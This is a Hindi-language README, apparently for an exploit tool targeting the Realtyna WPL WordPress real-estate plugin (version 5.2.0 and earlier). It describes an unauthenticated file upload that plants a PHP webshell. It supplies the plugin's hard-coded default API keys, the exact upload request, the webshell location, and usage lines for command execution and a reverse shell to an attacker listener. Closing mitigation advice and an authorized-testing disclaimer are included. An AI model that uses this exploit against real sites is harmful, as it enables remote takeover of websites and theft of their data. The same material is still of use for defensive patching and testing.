
Realtyna WPL/Organic IDX WordPress प्लगइन के लिए बिना प्रमाणीकरण वाला मनमाना फ़ाइल अपलोड शोषण, PHP वेबशेल अपलोड को RCE से जोड़ता है, जिसमें कमांड निष्पादन और रिवर्स शेल मोड शामिल हैं।
अनधिकृत मनमाना फ़ाइल अपलोड जो Realtyna WPL / Organic IDX WordPress प्लगइन (real-estate-listing-realtyna-wpl ≤ 5.2.0) में RCE की ओर ले जाता है।
प्लगइन सार्वजनिक WordPress init हुक पर एक "I/O सेवा" पंजीकृत करता है, जो साइट रूट पर ?wplview=io&wplformat=io के माध्यम से बिना प्रमाणीकरण पहुँच योग्य है। एकमात्र रुकावट प्लगइन के माइग्रेशन में शामिल स्थिर, हार्ड-कोडेड डिफ़ॉल्ट कुंजियों की एक जोड़ी है (हर इंस्टॉलेशन पर समान), जिसमें io_status डिफ़ॉल्ट रूप से सक्षम है:
public_key = U7hdbv673YhdjplzzX7wU7hdbv673YhdjplzzX7w
private_key = Eft76bdh0o2uyhJkbG3T
set_property कमांड (libraries/io/mobile_application/set_property.php → wpl_file::upload) अपलोड की गई file[] को move_uploaded_file के साथ सहेजता है और कोई एक्सटेंशन/MIME जाँच नहीं करता है, इसलिए एक .php वेबशेल गिराकर वेब उपयोगकर्ता के रूप में निष्पादित की जा सकती है।
real-estate-listing-realtyna-wpl ≤ 5.2.0www-data) के रूप में बिना प्रमाणीकरण RCEकेवल Python 3 मानक लाइब्रेरी — कोई निर्भरता नहीं।
# run a command and print output
python3 exploit.py http://target/ -c id
# reverse shell (start a listener first: nc -lvnp 4444)
python3 exploit.py http://target/ --shell 10.10.14.5:4444
POST /?wplview=io&wplformat=io&public_key=…&private_key=…&cmd=set_property&commands_directory=mobile_application&user_id=1
एक मल्टीपार्ट file[] के साथ जिसका नाम image_<name>.php है। image_ उपसर्ग हटा दिया जाता है, इसलिए फ़ाइल <name>.php के रूप में सहेजी जाती है।wp-content/uploads/WPL/<pid>/<name>.php पर पहुँचती है, जहाँ <pid> अनुरोध द्वारा निर्मित प्रॉपर्टी की id है (प्रतिक्रिया इसे प्रतिध्वनित नहीं करती)। टूल शेल खोजने के लिए छोटे प्रॉपर्टी ids की गणना करता है।…/<name>.php?c=<cmd> ब्राउज़ करें।एक WordPress साइट जिसमें real-estate-listing-realtyna-wpl प्लगइन ≤ 5.2.0 सक्रिय है। एंडपॉइंट GET /?wplview=io&wplformat=io पर प्रतिक्रिया देता है (प्लगइन की I/O सेवा)।
प्लगइन को ≥ 5.3.0 में अपडेट करें, अपलोड एक्सटेंशन/MIME मान्य करें, wp-content/uploads से PHP कभी निष्पादित न करें, और प्लगइन की स्थिर डिफ़ॉल्ट I/O कुंजियाँ बदलें।
केवल अधिकृत सुरक्षा परीक्षण और शिक्षा के लिए। इसका उपयोग केवल उन्हीं सिस्टम पर करें जिनके आप मालिक हैं या जिनके परीक्षण की आपको स्पष्ट अनुमति है।